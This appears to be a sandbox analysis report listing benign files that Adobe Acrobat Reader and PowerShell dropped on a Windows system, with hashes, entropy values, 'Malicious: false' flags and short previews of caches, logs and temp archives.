C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.28480982248748
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRN58NztGnZiQ0YyoqoAvJf21rPeUkwRe9:YvXKXX58VtGc7oZG+16Ukee9
MD5:	3A5200396B22CFE06277EDEF5BCA5E4A
SHA1:	DF0507468DC5C4D1894765392C9D4F6280F6EFF8
SHA-256:	B749D819CF45527D1831CCF2273DC688EDE886F316DF625D263471FD5E6DF7C4
SHA-512:	44C692B31C45203FD912401C8AAF88D4FC5BCBAA10BE718F8AEF2F57082EE8003F6D8A5FB5A991ED9BC9A10FB96D444D064D035C4A9787B4E7563A9CF717CB4F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc9d9228-0d06-4429-aa4e-70d0b044bb9c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736701638975,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659894053500617
Encrypted:	false
SSDEEP:	24:Yv6XX58Vt779amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSI:YvhPBgkDMUJUAh8cvMI
MD5:	EDF56CC528DD8F78739B6D769130D85F
SHA1:	F582B1555F348BCFA646A53D96A6B76C10C36F37
SHA-256:	4D5404A196D1BB9F16E0ABCBE616613D5648B428252EF46EBC62EBF57B6F0949
SHA-512:	E0D986A0DEF47A464BE18AC49506D0F420C0793BC3A9D6C95A1BB4C73838E148609BC671009CFAC1B68F832A68F1844A0434BD5556244A70B6BDA6164F446CE8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc9d9228-0d06-4429-aa4e-70d0b044bb9c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736701638975,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2605723254789885
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRN58NztGnZiQ0YyoqoAvJfshHHrPeUkwRe9:YvXKXX58VtGc7oZGUUUkee9
MD5:	89418F2B1D3D6F429B1A962732B1490A
SHA1:	3E68044C9FAD2B1D20F4AAEDF769D33E1CDD8342
SHA-256:	700ED0A4D3A3184A3368682DB2A7B4067EF477EF544EF4B211CAA688704FBC7D
SHA-512:	F25C1D744502DEF8AC00126BF0683F0528D6C20DBD8A346603DBBD73A110D9153A877187595B006881D587D77FFDAE40E9121F851A3AB9DFD0C2C532876B3538
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc9d9228-0d06-4429-aa4e-70d0b044bb9c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736701638975,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2623326286880046
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRN58NztGnZiQ0YyoqoAvJTqgFCrPeUkwRe9:YvXKXX58VtGc7oZGTq16Ukee9
MD5:	F71169382B610C2C828B87B60CAEE7B3
SHA1:	046420B9A225212E88205713FA89AF361C657866
SHA-256:	B6F3CFCE1F78F753D291EB2391806A244C68086B2C2E7C0328D5081B075699E8
SHA-512:	502A689268A378CEDDC05A4A55625BA81E223EC56BB127BE92E0140ACBA019CE2B2BBE5A073607416949058D7BFC69815901CBC8B2236BF8CB5934E1FA9C9CF3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc9d9228-0d06-4429-aa4e-70d0b044bb9c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736701638975,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.147247909710425
Encrypted:	false
SSDEEP:	24:YfVaNJaay0PW/zYBbjM7EfhoHVNbjiSj0Sg2vE+2LSlSYCC+2sWXzef7+5Ltb9xS:YA0/Q/3aHHDEA6TesWXSfivb9c
MD5:	F99A92045B6F6CD6FD45DA48E4FB231A
SHA1:	D00B0A8F7B96B4AA90340429BB7AF57D1B985C17
SHA-256:	63146497996A1E124257DF9D9B102986395A24304F203B4C90B9CCA26F31CCF1
SHA-512:	44D0370BD298E54C4479F3C4F5D49A6506BD35D0173641FC4E39E90E6C5AE92A677DE0660CF128CEB1FA4C3092E07ECC952C403716F535BF67E03C6108B08CD7
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"1a9c165575c04d3d4caf7b7b8dfbf0cc","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736527353000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"27c66b21b31d4b2696d2d77c72117934","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736527353000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"db99820375bbff5dc11cf50e397b2138","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736527353000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"436afccff16109dbc84d18968cfc64da","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736527353000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ab786a94d779f8c94a985acccc537cec","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736527353000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"c031eee98b5ad0b05b2ee1363cccc5a4","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1461343389448246
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urs69RZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcH:TFl2GL7ms6hXc+XcGNFlRYIX2v3k3X
MD5:	6FD63B93C59EDE9B4FE09B792FF7D6E1
SHA1:	2112E738D0918C936F42426F0EAF46B7783FADBB
SHA-256:	8AA743F4EDE793C03C4D07F4C05BAE79B7BEEC0609DCE190208D137AEF888D75
SHA-512:	B0466CA3504896B95431E9DAF95FE7C1A511BF917183684694E990E9D434AB153B90F7B1C00254B5BA1EB72BBDC9E373EAF8ED1366763C5B7A5D975EEBC3AC86
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5535092077865704
Encrypted:	false
SSDEEP:	24:7+t69UXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxQqLxx/XYKR:7M6+Xc+XcGNFlRYIX2v1qVl2GL7msp
MD5:	B00DC18D77F17A92142BF96C1EB57F64
SHA1:	4929154E46CA6DA00A3E3731DB7A4BBDFF8368F7
SHA-256:	B659BDAD62B7C24BFC07E9D43C1EC6D68EFFE25D57B74894612D6DCD609B35E4
SHA-512:	AB18B00716758847D3B3A5AB493BCC09235C17DA5F30D9F7F34A3855A84953C992CB60D63076FDC92BAD0BE2B35F402176C11636C7CC13F0BD0F1295F8F0BB6E
Malicious:	false
Preview:	.... .c.....z............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgu6T7/BPaFcXXWhP3PNHQ5a9iPEoYyu:6a6TZ44ADE3TbBPaWXmhp08oK
MD5:	67BD4B9B75A1A7E569421A9BD3CF3ACE
SHA1:	5AE4CB70DC0FCFAFF2AE0C62A33DB482124EE37C
SHA-256:	BFA1C9ED5A3EBB5A9F9C509F560CB1760733703F9E8A324F17C04039F7C9E361
SHA-512:	CC41BC8EAC3D95C630C74F0E1AA55CBDF4340DC5841538B9F7010653868F3B1F4F120DE5115602AF1691B4BA92D1D8FC1C17718FFB8B5A90B5031EF3B1B79A67
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI6a5a4.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5020010357239357
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEh1flH:Qw946cPbiOxDlbYnuRK+bDTflH
MD5:	B77659FEA261369039957C8CA8197362
SHA1:	2D75029436F547C5F878130EF943E3C0297A5066
SHA-256:	6821CBEF14F8F827FDB3578DF6087ABD88F781E2D7F37AC246185F5B7A34A046
SHA-512:	6B93FF9338947A72AF84BA37A8A3A41275968D787E742F776FB6031C4232DEB8AA8A8A9E365FB906066E4D73E04E0F657E1DA5192F0953A1B21FBE2552CEDFD8
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.4.2.:.3.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fg1d44qu.ivn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_top4tie4.rxq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-42-24-028.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.346032590623185
Encrypted:	false
SSDEEP:	384:3CmLui/OrrscTvowpYI353wxR2tmkMQYVCl35VXm3ztwTpVmusFuxqxsdjNFlm2R:Q//
MD5:	45049247FF3210231EB2E88F328079E9
SHA1:	F39E5EE01ABB7D1C525571C428A0D6C9A4A1C2B2
SHA-256:	C6F1CB76F33DB63A69B8A7012376438C58ACFD58EB5024A7940930C14735B35B
SHA-512:	5AEEDC8DC0E2C425C0CDF41A2D314FFF09E521310FB82EADC07F414CFE63AD7534C6A8E1FCD27945D97E90CB0220B9ABF34084AA344993AB5E10D753308CF7DD
Malicious:	false
Preview:	SessionID=69dae567-4263-41c5-b124-f900a01863f6.1736527344056 Timestamp=2025-01-10T11:42:24:056-0500 ThreadID=7556 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=69dae567-4263-41c5-b124-f900a01863f6.1736527344056 Timestamp=2025-01-10T11:42:24:057-0500 ThreadID=7556 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=69dae567-4263-41c5-b124-f900a01863f6.1736527344056 Timestamp=2025-01-10T11:42:24:057-0500 ThreadID=7556 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=69dae567-4263-41c5-b124-f900a01863f6.1736527344056 Timestamp=2025-01-10T11:42:24:057-0500 ThreadID=7556 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=69dae567-4263-41c5-b124-f900a01863f6.1736527344056 Timestamp=2025-01-10T11:42:24:057-0500 ThreadID=7556 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397451817005199
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbqHr6Doh6oPg14ZcbrQUnizZIEJ:V3fOCIdJDesH0EJ
MD5:	6A2A4FCB439C3A9867B4293DD0D1E68E
SHA1:	36BE254ED738E7AF0C94FCABC6BA28EEFB1D98BB
SHA-256:	5E92170BE14E6E22F9732A9B4D4DBE00921351BC5926E77A9454877321715889
SHA-512:	29909AA6FDF9FBB05AC4479A13C117197D3F76BF3186318E9F9D0E7052B4EAE2FF8B9872C7E07C333956AB09C123F26EA034BBB3901083078005428A5CEF656D
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\80f2fe7a-a33a-42a1-b167-e37f797a5086.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\9a3aaccf-63a0-43d4-b380-2a10237738c7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:NDbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WL07oXGZzwYIGNPJF:Jb3mlind9i4ufFXpAXkrfUs0jWLxXGZX
MD5:	D3D2927BC4723609B69F537AD83E856C
SHA1:	780A3D2C4FCB7C4126A7FD53AB72800403D150DD
SHA-256:	48452A955CE3D6335BF7EF76ACAB44968F637E4DDE10F49FD5C664EEC615DC8B
SHA-512:	401612E3FEBFDB49CE2F5A6095BEE8A18F9928AB9C8EEA60F07E291A2BDF4DAA3FA9AC8F5534C88C1E2DEBB90B915CDA74C9CC3A8267239CF068119D1E1EAB7E
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cc1059e5-1cd3-454e-902b-cee2c66e4ede.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:ZDA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:lVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	9373137B4C9C2B8A4428715D801D3133
SHA1:	1F77A1AD6096DF7EF758755970BB9F55AA645C0B
SHA-256:	1566B2FF0EEFFA59CED8B6855B418A9F59CD40AF68E86E32CFC2E7BE90777DEE
SHA-512:	C327585A6B5F4CE7D58708B635FF32D9F9F4D60B1A2D525F74EAA64658835127C800F57D93E255C599E84AE0270187A4EB91E1BD8B247D2B7A7482337B855D35
Malicious:	false
Preview:	...........]..8.}. .)."{g.-.}plw.A........,..Y.tI.g.....)Q.H..'p#p`.U.S.H.)....e....a.><..w.....Dw..9.0Y~.......1.._......j.....Oh.q.\,....tn.....w..i.f..?A../.h.D..........n^......M..w......C....!..4.........w4q..F.1I.!A....(.........TN..'8...Q.........^...za..0Hm/.....{.....\....' ..1..0.qzD........'Y...... .m..8Bh... ...4...z..}.9..Lqp..M \Xe......Q..0..+C.B.4Ijm...o..co..q.d.~.8...\/.4.]....8...1.].D....K.\|...hp\..... .ch.....\.g..Qpf.{N....n<......'.....KS(.k..$Q.R...6..'.....7.!....{.....b....C.v~...x...FO^..O.d.>'>...........&.. 